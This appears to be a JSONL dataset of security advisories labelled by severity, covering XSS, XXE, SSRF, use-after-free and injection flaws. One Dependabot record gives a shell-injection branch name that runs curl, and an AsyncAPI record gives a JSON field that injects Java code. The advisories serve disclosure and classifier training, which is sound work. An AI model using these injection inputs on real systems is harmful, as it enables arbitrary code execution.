plugin](https://wordpress.org/plugins/knight-lab-timelinejs/). Version 3.7.0.0 of that plugin and newer integrate the updated code. Users are encouraged to update the plugin rather than manually update the embedded version of TimelineJS.\n\n### Workarounds\nTo exploit this vulnerability, the attacker must have write access to the data source for the Timeline or the server which embeds the timeline.\n\nThus, the only workaround is appropriate attention to securing write access to the Google Sheet or JSON file which serves as the data source.\n\n### References\nFor more about the release of TimelineJS which addresses this vulnerability, see the [Knight Lab website](https://knightlab.northwestern.edu/2020/07/09/timelinejs-update/index.html).\n\nA technical write-up of this vulnerability is available [here](https://zanderwork.com/blog/cve-2020-15092/).\n\n### Acknowledgements\n\nThis vulnerability was discovered by Zander Work ([@captainGeech42](https://twitter.com/captainGeech42)) of Oregon State University.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub](https://github.com/NUKnightLab/TimelineJS3/issues)\n* File a support request in our [helpdesk system](https://knightlab.zendesk.com/hc/en-us/requests/new)", "text_raw": "Stored XSS in TimelineJS3\n\n[Severity: HIGH]\n\n### Impact\nTimelineJS renders some user data as HTML. An attacker could implement an XSS exploit with maliciously crafted content in a number of data fields. This risk is present whether the source data for the timeline is stored on Google Sheets or in a JSON configuration file.\n\nMost TimelineJS users configure their timeline with a Google Sheets document. Those users are exposed to this vulnerability if they grant write access to the document to a malicious inside attacker, if the access of a trusted user is compromised, or if they grant public write access to the document.\n\nSome TimelineJS users configure their timeline with a JSON document. Those users are exposed to this vulnerability if they grant write access to the document to a malicious inside attacker, if the access of a trusted user is compromised, or if write access to the system hosting that document is otherwise compromised.\n\nAlthough the vulnerability has a [CVSS v3.1 base score of 7.2](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H), this vulnerability has a severity of Moderate due to the likeliness of exploitation.\n\n### Patches\nVersion 3.7.0 of TimelineJS addresses this in two ways. \n\n1. For content which is intended to support limited HTML markup for styling and linking, that content is \"sanitized\" before being added to the DOM.\n1. For content intended for simple text display, all markup is stripped. \n\nVery few users of TimelineJS actually install the TimelineJS code on their server. Most users publish a timeline using a URL hosted on systems we control. The fix for this issue is published to our system such that **those users will automatically begin using the new code**. The only exception would be users who have deliberately edited the embed URL to \"pin\" their timeline to an earlier version of the code.\n\nSome users of TimelineJS use it as a part of a [wordpress plugin](https://wordpress.org/plugins/knight-lab-timelinejs/). Version 3.7.0.0 of that plugin and newer integrate the updated code. Users are encouraged to update the plugin rather than manually update the embedded version of TimelineJS.\n\n### Workarounds\nTo exploit this vulnerability, the attacker must have write access to the data source for the Timeline or the server which embeds the timeline.\n\nThus, the only workaround is appropriate attention to securing write access to the Google Sheet or JSON file which serves as the data source.\n\n### References\nFor more about the release of TimelineJS which addresses this vulnerability, see the [Knight Lab website](https://knightlab.northwestern.edu/2020/07/09/timelinejs-update/index.html).\n\nA technical write-up of this vulnerability is available [here](https://zanderwork.com/blog/cve-2020-15092/).\n\n### Acknowledgements\n\nThis vulnerability was discovered by Zander Work ([@captainGeech42](https://twitter.com/captainGeech42)) of Oregon State University.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub](https://github.com/NUKnightLab/TimelineJS3/issues)\n* File a support request in our [helpdesk system](https://knightlab.zendesk.com/hc/en-us/requests/new)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-09", "split": "train"}
-{"id": "d3b9cd9b1279a6db75b3", "text": "vtiger CRM 5.2.1 Multiple Remote Cross-Site Scripting Vulnerabilities", "text_raw": "vtiger CRM 5.2.1 Multiple Remote Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-10-26", "split": "train"}
-{"id": "829b6d9587c09258864b", "text": "Use after free passing `externref`s to Wasm in Wasmtime\n\n### Impact\n\nThere was a use-after-free bug when passing `externref`s from the host to guest Wasm content.\n\nTo trigger the bug, you have to explicitly pass multiple `externref`s from the host to a Wasm instance at the same time, either by\n\n* passing multiple `externref`s as arguments from host code to a Wasm function,\n* or returning multiple `externref`s to Wasm from a multi-value return function defined in the host.\n\nIf you do not have host code that matches one of these shapes, then you are not impacted.\n\nIf Wasmtime's [`VMExternRefActivationsTable`](https://github.com/bytecodealliance/wasmtime/blob/37c094faf53f1b356aab3c79d451395e4f7edb34/crates/runtime/src/externref.rs#L493) became filled to capacity after passing the first `externref` in, then passing in the second `externref` could trigger a garbage collection. However the first `externref` is not rooted until we pass control to Wasm, and therefore could be reclaimed by the collector if nothing else was holding a reference to it or otherwise keeping it alive. Then, when control was passed to Wasm after the garbage collection, Wasm could use the first `externref`, which at this point has already been freed.\n\nWe have reason to believe that the effective impact of this bug is relatively small because usage of `externref` is currently quite rare.\n\n### Patches\n\nThe bug has been fixed, and users should upgrade to Wasmtime 0.30.0.\n\nAdditionally, we have updated [our primary `externref` fuzz target](https://github.com/bytecodealliance/wasmtime/blob/37c094faf53f1b356aab3c79d451395e4f7edb34/fuzz/fuzz_targets/table_ops.rs) such that it better exercises these code paths and we can have greater confidence in their correctness going forward.\n\n### Workarounds\n\nIf you cannot upgrade Wasmtime yet, you can avoid the bug by disabling reference types support in Wasmtime by passing `false` to [`wasmtime::Config::wasm_reference_types`](https://docs.rs/wasmtime/0.29.0/wasmtime/struct.Config.html#method.wasm_reference_types).\n\n### References\n\n* [The reference types Wasm proposal, which introduces `externref`](https://github.com/WebAssembly/reference-types/)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Reach out to us on [the Bytecode Alliance Zulip chat](https://bytecodealliance.zulipchat.com/#narrow/stream/217126-wasmtime)\n* Open an issue in [the `bytecodealliance/wasmtime` repository](https://github.com/bytecodealliance/wasmtime/)", "text_raw": "Use after free passing `externref`s to Wasm in Wasmtime\n\n[Severity: MEDIUM]\n\n### Impact\n\nThere was a use-after-free bug when passing `externref`s from the host to guest Wasm content.\n\nTo trigger the bug, you have to explicitly pass multiple `externref`s from the host to a Wasm instance at the same time, either by\n\n* passing multiple `externref`s as arguments from host code to a Wasm function,\n* or returning multiple `externref`s to Wasm from a multi-value return function defined in the host.\n \nIf you do not have host code that matches one of these shapes, then you are not impacted.\n\nIf Wasmtime's [`VMExternRefActivationsTable`](https://github.com/bytecodealliance/wasmtime/blob/37c094faf53f1b356aab3c79d451395e4f7edb34/crates/runtime/src/externref.rs#L493) became filled to capacity after passing the first `externref` in, then passing in the second `externref` could trigger a garbage collection. However the first `externref` is not rooted until we pass control to Wasm, and therefore could be reclaimed by the collector if nothing else was holding a reference to it or otherwise keeping it alive. Then, when control was passed to Wasm after the garbage collection, Wasm could use the first `externref`, which at this point has already been freed.\n\nWe have reason to believe that the effective impact of this bug is relatively small because usage of `externref` is currently quite rare.\n\n### Patches\n\nThe bug has been fixed, and users should upgrade to Wasmtime 0.30.0.\n\nAdditionally, we have updated [our primary `externref` fuzz target](https://github.com/bytecodealliance/wasmtime/blob/37c094faf53f1b356aab3c79d451395e4f7edb34/fuzz/fuzz_targets/table_ops.rs) such that it better exercises these code paths and we can have greater confidence in their correctness going forward.\n\n### Workarounds\n\nIf you cannot upgrade Wasmtime yet, you can avoid the bug by disabling reference types support in Wasmtime by passing `false` to [`wasmtime::Config::wasm_reference_types`](https://docs.rs/wasmtime/0.29.0/wasmtime/struct.Config.html#method.wasm_reference_types).\n\n### References\n\n* [The reference types Wasm proposal, which introduces `externref`](https://github.com/WebAssembly/reference-types/)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Reach out to us on [the Bytecode Alliance Zulip chat](https://bytecodealliance.zulipchat.com/#narrow/stream/217126-wasmtime)\n* Open an issue in [the `bytecodealliance/wasmtime` repository](https://github.com/bytecodealliance/wasmtime/)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "fe37ab0dd46a01577dba", "text": "XXE in PHPSpreadsheet due to encoding issue\n\nsecurityScan() in PHPOffice PhpSpreadsheet through 1.5.0 allows a bypass of protection mechanisms for XXE via UTF-7 encoding in a .xlsx file", "text_raw": "XXE in PHPSpreadsheet due to encoding issue\n\n[Severity: HIGH]\n\nsecurityScan() in PHPOffice PhpSpreadsheet through 1.5.0 allows a bypass of protection mechanisms for XXE via UTF-7 encoding in a .xlsx file", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-11-20", "split": "train"}
-{"id": "d3380f7ab4040979f280", "text": "pullit vulnerable to command injection\n\nVersions of `pullit` prior to 1.4.0 are vulnerable to Command Injection. The package does not validate input on git branch names  and concatenates it to an exec call, allowing attackers to run arbitrary commands in the system.\n\n## Recommendation\n\nUpgrade to version 1.4.0 or later.\n\n## Credits\n\nThis vulnerability was discovered by @lirantal", "text_raw": "pullit vulnerable to command injection\n\n[Severity: HIGH]\n\nVersions of `pullit` prior to 1.4.0 are vulnerable to Command Injection. The package does not validate input on git branch names  and concatenates it to an exec call, allowing attackers to run arbitrary commands in the system.\n\n## Recommendation\n\nUpgrade to version 1.4.0 or later.\n\n## Credits\n\nThis vulnerability was discovered by @lirantal", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "16e2b93c58f44935ab21", "text": "XSS vulnerability on contacts view\n\n### Impact\nMautic versions before 3.3.4/4.0.0 are vulnerable to an inline JS XSS attack through the contact's first or last name and triggered when viewing a contact's details page then clicking on the action drop down and hovering over the Campaigns button. Contact first and last name can be populated from different sources such as UI, API, 3rd party syncing, forms, etc.\n\n### Patches\nUpgrade to 3.3.4 or 4.0.0\n\n### Workarounds\nNo\n\n### References\nhttps://github.com/mautic/mautic/releases/tag/3.3.4\nhttps://github.com/mautic/mautic/releases/tag/4.0.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "text_raw": "XSS vulnerability on contacts view\n\n[Severity: HIGH]\n\n### Impact\nMautic versions before 3.3.4/4.0.0 are vulnerable to an inline JS XSS attack through the contact's first or last name and triggered when viewing a contact's details page then clicking on the action drop down and hovering over the Campaigns button. Contact first and last name can be populated from different sources such as UI, API, 3rd party syncing, forms, etc. \n\n### Patches\nUpgrade to 3.3.4 or 4.0.0\n\n### Workarounds\nNo\n\n### References\nhttps://github.com/mautic/mautic/releases/tag/3.3.4\nhttps://github.com/mautic/mautic/releases/tag/4.0.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "49255398ba5499da09d1", "text": "Improper Input Validation in xdLocalStorage\n\nAn issue was discovered in xdLocalStorage through 2.0.5. The receiveMessage() function in xdLocalStoragePostMessageApi.js does not implement any validation of the origin of web messages. Remote attackers who can entice a user to load a malicious site can exploit this issue to impact the confidentiality and integrity of data in the local storage of the vulnerable site via malicious web messages.", "text_raw": "Improper Input Validation in xdLocalStorage\n\n[Severity: HIGH]\n\nAn issue was discovered in xdLocalStorage through 2.0.5. The receiveMessage() function in xdLocalStoragePostMessageApi.js does not implement any validation of the origin of web messages. Remote attackers who can entice a user to load a malicious site can exploit this issue to impact the confidentiality and integrity of data in the local storage of the vulnerable site via malicious web messages.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "acc283b6a5ed0b155271", "text": "Autobinding vulnerability in MITREid Connect\n\norg/mitre/oauth2/web/OAuthConfirmationController.java in the OpenID Connect server implementation for MITREid Connect through 1.3.3 contains a Mass Assignment (aka Autobinding) vulnerability. This arises due to unsafe usage of the @ModelAttribute annotation during the OAuth authorization flow, in which HTTP request parameters affect an authorizationRequest.", "text_raw": "Autobinding vulnerability in MITREid Connect\n\n[Severity: CRITICAL]\n\norg/mitre/oauth2/web/OAuthConfirmationController.java in the OpenID Connect server implementation for MITREid Connect through 1.3.3 contains a Mass Assignment (aka Autobinding) vulnerability. This arises due to unsafe usage of the @ModelAttribute annotation during the OAuth authorization flow, in which HTTP request parameters affect an authorizationRequest.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-13", "split": "train"}
-{"id": "8d3329948e29fa61c243", "text": "A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host\n\n### Impact\nThe vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream with a Java runtime version 14 to 8. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.18.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-39150](https://x-stream.github.io/CVE-2021-39150.html).\n\n### Credits\nLai Han of NSFOCUS security team found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host\n\n[Severity: HIGH]\n\n### Impact\nThe vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream with a Java runtime version 14 to 8. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.18.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-39150](https://x-stream.github.io/CVE-2021-39150.html).\n\n### Credits\nLai Han of NSFOCUS security team found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "1864779a7ebcab36e8be", "text": "IBM Planning Analytics Remote Code Execution Vulnerability\n\nAffected: IBM Planning Analytics\n\nIBM Planning Analytics is vulnerable to a configuration overwrite that allows an unauthenticated user to login as \"admin\", and then execute code as root or SYSTEM via TM1 scripting.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "IBM Planning Analytics Remote Code Execution Vulnerability\n\nAffected: IBM Planning Analytics\n\nIBM Planning Analytics is vulnerable to a configuration overwrite that allows an unauthenticated user to login as \"admin\", and then execute code as root or SYSTEM via TM1 scripting.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "974a64bf47ff61bf3e2c", "text": "XStream is vulnerable to an attack using Regular Expression for a Denial of Service (ReDos)\n\n### Impact\nThe vulnerability may allow a remote attacker to occupy a thread that consumes maximum CPU time and will never return. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-21348](https://x-stream.github.io/CVE-2021-21348.html).\n\n### Credits\nThe vulnerability was discovered and reported by threedr3am.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "XStream is vulnerable to an attack using Regular Expression for a Denial of Service (ReDos)\n\n[Severity: MEDIUM]\n\n### Impact\nThe vulnerability may allow a remote attacker to occupy a thread that consumes maximum CPU time and will never return. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-21348](https://x-stream.github.io/CVE-2021-21348.html).\n\n### Credits\nThe vulnerability was discovered and reported by threedr3am.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-22", "split": "train"}
-{"id": "b6f18e764f561c159311", "text": "Downloads Resources over HTTP in unicode\n\nAffected versions of `unicode` insecurely download resources over HTTP.\n\n## Recommendation\n\nUpdate to version 9.0.0 or later.", "text_raw": "Downloads Resources over HTTP in unicode\n\n[Severity: HIGH]\n\nAffected versions of `unicode` insecurely download resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.\n\n\n## Recommendation\n\nUpdate to version 9.0.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "d8787241167fb044185c", "text": "ACE Stream Media 2.1 (acestream://) Format String Exploit PoC", "text_raw": "ACE Stream Media 2.1 (acestream://) Format String Exploit PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-01-02", "split": "train"}
-{"id": "9494db2abe7031907692", "text": "Remote code execution in dependabot-core branch names when cloning\n\n### Impact\nRemote code execution vulnerability in `dependabot-common` and  `dependabot-go_modules` when a source branch name contains malicious injectable bash code.\n\nFor example, if Dependabot is configured to use the following source branch name: `\"/$({curl,127.0.0.1})\"`, Dependabot will make a HTTP request to the following URL: 127.0.0.1 when cloning the source repository.\n\nWhen Dependabot is configured to clone the source repository during an update, Dependabot runs a shell command to git clone the repository:\n\n```bash\ngit clone --no-tags --no-recurse-submodules --depth=1 --branch=<BRANCH> --single-branch <GITHUB_REPO_URL> repo/contents/path\n```\n\nDependabot will always clone the source repository for `go_modules` during the file fetching step and can be configured to clone the repository for other package managers using the `FileFetcher` class from `dependabot-common`.\n\n```ruby\nsource = Dependabot::Source.new(\n  provider: \"github\",\n  repo: \"repo/name\",\n  directory: \"/\",\n  branch: \"/$({curl,127.0.0.1})\",\n)\n\nrepo_contents_path = \"./file/path\"\nfetcher = Dependabot::FileFetchers.for_package_manager(\"bundler\").\n                  new(source: source, credentials: [],\n                  repo_contents_path: repo_contents_path)\nfetcher.clone_repo_contents\n```\n\n### Patches\n\nThe fix was applied to version `0.125.1`: https://github.com/dependabot/dependabot-core/pull/2727\n\n### Workarounds\nEscape the branch name prior to passing it to the `Dependabot::Source` class.\n\nFor example using `shellwords`:\n\n```ruby\nrequire \"shellwords\"\nbranch = Shellwords.escape(\"/$({curl,127.0.0.1})\")\nsource = Dependabot::Source.new(\n  provider: \"github\",\n  repo: \"repo/name\",\n  directory: \"/\",\n  branch: branch,\n)\n```", "text_raw": "Remote code execution in dependabot-core branch names when cloning\n\n[Severity: HIGH]\n\n### Impact\nRemote code execution vulnerability in `dependabot-common` and  `dependabot-go_modules` when a source branch name contains malicious injectable bash code.\n\nFor example, if Dependabot is configured to use the following source branch name: `\"/$({curl,127.0.0.1})\"`, Dependabot will make a HTTP request to the following URL: 127.0.0.1 when cloning the source repository.\n\nWhen Dependabot is configured to clone the source repository during an update, Dependabot runs a shell command to git clone the repository:\n\n```bash\ngit clone --no-tags --no-recurse-submodules --depth=1 --branch=<BRANCH> --single-branch <GITHUB_REPO_URL> repo/contents/path\n```\n\nDependabot will always clone the source repository for `go_modules` during the file fetching step and can be configured to clone the repository for other package managers using the `FileFetcher` class from `dependabot-common`.\n\n```ruby\nsource = Dependabot::Source.new(\n  provider: \"github\",\n  repo: \"repo/name\",\n  directory: \"/\",\n  branch: \"/$({curl,127.0.0.1})\",\n)\n\nrepo_contents_path = \"./file/path\"\nfetcher = Dependabot::FileFetchers.for_package_manager(\"bundler\").\n                  new(source: source, credentials: [],\n                  repo_contents_path: repo_contents_path)\nfetcher.clone_repo_contents\n```\n\n### Patches\n\nThe fix was applied to version `0.125.1`: https://github.com/dependabot/dependabot-core/pull/2727\n\n### Workarounds\nEscape the branch name prior to passing it to the `Dependabot::Source` class.\n\nFor example using `shellwords`:\n\n```ruby\nrequire \"shellwords\"\nbranch = Shellwords.escape(\"/$({curl,127.0.0.1})\")\nsource = Dependabot::Source.new(\n  provider: \"github\",\n  repo: \"repo/name\",\n  directory: \"/\",\n  branch: branch,\n)\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-13", "split": "train"}
-{"id": "a7af53c7a97a984a764f", "text": "Google Chromium WebGL Use-After-Free Vulnerability\n\nAffected: Google Chromium WebGL\n\nGoogle Chromium WebGL contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Google Chromium WebGL Use-After-Free Vulnerability\n\nAffected: Google Chromium WebGL\n\nGoogle Chromium WebGL contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "f7737f94778fe9811834", "text": "UNIX Symbolic Link (Symlink) Following in @npmcli/arborist\n\n### Impact\n\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\n`@npmcli/arborist`, the library that calculates dependency trees and manages the node_modules folder hierarchy for the npm command line interface, aims to guarantee that package dependency contracts will be met, and the extraction of package contents will always be performed into the expected folder.\n\nThis is accomplished by extracting package contents into a project's `node_modules` folder.\n\nIf the `node_modules` folder of the root project or any of its dependencies is somehow replaced with a symbolic link, it could allow Arborist to write package dependencies to any arbitrary location on the file system.\n\nNote that symbolic links contained within package artifact contents are filtered out, so another means of creating a `node_modules` symbolic link would have to be employed.\n\n1. A `preinstall` script could replace `node_modules` with a symlink.  (This is prevented by using `--ignore-scripts`.)\n2. An attacker could supply the target with a git repository, instructing them to run `npm install --ignore-scripts` in the root.  This may be successful, because `npm install --ignore-scripts` is typically not capable of making changes outside of the project directory, so it may be deemed safe.\n\n### Patches\n\n2.8.2 (included in npm v7.20.7 and above)\n\n### Workarounds\n\nDo not run `npm install` on untrusted codebases, without first ensuring that the `node_modules` directory in the project is not a symbolic link.\n\n### Fix\n\nPrior to extracting any package contents, the `node_modules` folder into which it is extracted is verified to be a real directory.  If it is not, then it is removed.\n\nCaveat: if you are currently relying on creating a symbolic link to the `node_modules` folder in order to share dependencies between projects, then that will no longer be possible.  Please use the `npm link` command, explicit `file:...` dependencies, and/or `workspaces` to share dependencies in a development environment.", "text_raw": "UNIX Symbolic Link (Symlink) Following in @npmcli/arborist\n\n[Severity: HIGH]\n\n### Impact\n\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\n`@npmcli/arborist`, the library that calculates dependency trees and manages the node_modules folder hierarchy for the npm command line interface, aims to guarantee that package dependency contracts will be met, and the extraction of package contents will always be performed into the expected folder.\n\nThis is accomplished by extracting package contents into a project's `node_modules` folder.\n\nIf the `node_modules` folder of the root project or any of its dependencies is somehow replaced with a symbolic link, it could allow Arborist to write package dependencies to any arbitrary location on the file system.\n\nNote that symbolic links contained within package artifact contents are filtered out, so another means of creating a `node_modules` symbolic link would have to be employed.\n\n1. A `preinstall` script could replace `node_modules` with a symlink.  (This is prevented by using `--ignore-scripts`.)\n2. An attacker could supply the target with a git repository, instructing them to run `npm install --ignore-scripts` in the root.  This may be successful, because `npm install --ignore-scripts` is typically not capable of making changes outside of the project directory, so it may be deemed safe.\n\n### Patches\n\n2.8.2 (included in npm v7.20.7 and above)\n\n### Workarounds\n\nDo not run `npm install` on untrusted codebases, without first ensuring that the `node_modules` directory in the project is not a symbolic link.\n\n### Fix\n\nPrior to extracting any package contents, the `node_modules` folder into which it is extracted is verified to be a real directory.  If it is not, then it is removed.\n\nCaveat: if you are currently relying on creating a symbolic link to the `node_modules` folder in order to share dependencies between projects, then that will no longer be possible.  Please use the `npm link` command, explicit `file:...` dependencies, and/or `workspaces` to share dependencies in a development environment.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-31", "split": "train"}
-{"id": "c769a82c7968c02829e3", "text": "KevinLAB BEMS 1.0 Unauthenticated SQL Injection / Authentication Bypass", "text_raw": "KevinLAB BEMS 1.0 Unauthenticated SQL Injection / Authentication Bypass\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2021-07-20", "split": "train"}
-{"id": "b236675b098b618c5333", "text": "SQL Injection in Django\n\nDjango 3.1.x before 3.1.13 and 3.2.x before 3.2.5 allows QuerySet.order_by SQL injection if order_by is untrusted input from a client of a web application.", "text_raw": "SQL Injection in Django\n\n[Severity: CRITICAL]\n\nDjango 3.1.x before 3.1.13 and 3.2.x before 3.2.5 allows QuerySet.order_by SQL injection if order_by is untrusted input from a client of a web application.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-22", "split": "train"}
-{"id": "d340a84af68108f1957d", "text": "Code injection issue for java-spring-cloud-stream-template\n\nThe following was initially reported by @jonaslagoni:\n\nGiven the following command:\n`ag ./dummy.json @asyncapi/java-spring-cloud-stream-template --force-write --output ./output`\n\nWith the following AsyncAPI document:\n```json\n{\n  \"asyncapi\": \"2.0.0\",\n  \"info\": {\n    \"title\": \"Streetlight\",\n    \"version\": \"1.0.0\"\n  },\n  \"defaultContentType\": \"json\",\n  \"channels\": {\n    \"security/audit/channel\": {\n      \"description\": \"Channel for the turn on command which should turn on the streetlight\",\n      \"parameters\": {\n        \"streetlight_id\": {\n          \"description\": \"The ID of the streetlight\",\n          \"schema\": {\n            \"type\": \"string\"\n          }\n        }\n      },\n      \"publish\": {\n        \"operationId\": \"test() { System.out.println(\\\"injected\\\"); return test(0); }\\n public Consumer<CustomClass> someothername\",\n        \"message\": {\n          \"name\": \"TurnonCommand\",\n          \"payload\": {\n            \"$ref\": \"#/components/schemas/CustomClass\"\n          }\n        }\n      }\n    }\n  },\n  \"components\": {\n    \"schemas\" : {\n      \"CustomClass\": {\n        \"type\": \"object\",\n        \"properties\": {\n          \"prop\": { \n              \"type\": \"string\"\n          }\n        }\n      }\n    }\n  }\n}\n```\n\nWhich changes the following output:\n\n```java\n...\n  @Bean\n  public Consumer<CustomClass> test() {\n    // Add business logic here.\n    return null;\n  }\n...\n```\nTo\n```java\n...\n  @Bean\n  public Consumer<CustomClass> test() { System.out.println(\"injected\"); return someothername(); }\n  public Consumer<CustomClass> someothername() {\n    // Add business logic here.\n    return null;\n  }\n...\n```", "text_raw": "Code injection issue for java-spring-cloud-stream-template\n\n[Severity: HIGH]\n\nThe following was initially reported by @jonaslagoni:\n\nGiven the following command:\n`ag ./dummy.json @asyncapi/java-spring-cloud-stream-template --force-write --output ./output`\n\nWith the following AsyncAPI document:\n```json\n{\n  \"asyncapi\": \"2.0.0\",\n  \"info\": {\n    \"title\": \"Streetlight\",\n    \"version\": \"1.0.0\"\n  },\n  \"defaultContentType\": \"json\",\n  \"channels\": {\n    \"security/audit/channel\": {\n      \"description\": \"Channel for the turn on command which should turn on the streetlight\",\n      \"parameters\": {\n        \"streetlight_id\": {\n          \"description\": \"The ID of the streetlight\",\n          \"schema\": {\n            \"type\": \"string\"\n          }\n        }\n      },\n      \"publish\": {\n        \"operationId\": \"test() { System.out.println(\\\"injected\\\"); return test(0); }\\n public Consumer<CustomClass> someothername\",\n        \"message\": {\n          \"name\": \"TurnonCommand\",\n          \"payload\": {\n            \"$ref\": \"#/components/schemas/CustomClass\"\n          }\n        }\n      }\n    }\n  },\n  \"components\": {\n    \"schemas\" : {\n      \"CustomClass\": {\n        \"type\": \"object\",\n        \"properties\": {\n          \"prop\": { \n              \"type\": \"string\"\n          }\n        }\n      }\n    }\n  }\n}\n```\n\nWhich changes the following output: \n\n```java\n...\n  @Bean\n  public Consumer<CustomClass> test() {\n    // Add business logic here.\n    return null;\n  }\n...\n```\nTo\n```java\n...\n  @Bean\n  public Consumer<CustomClass> test() { System.out.println(\"injected\"); return someothername(); }\n  public Consumer<CustomClass> someothername() {\n    // Add business logic here.\n    return null;\n  }\n...\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
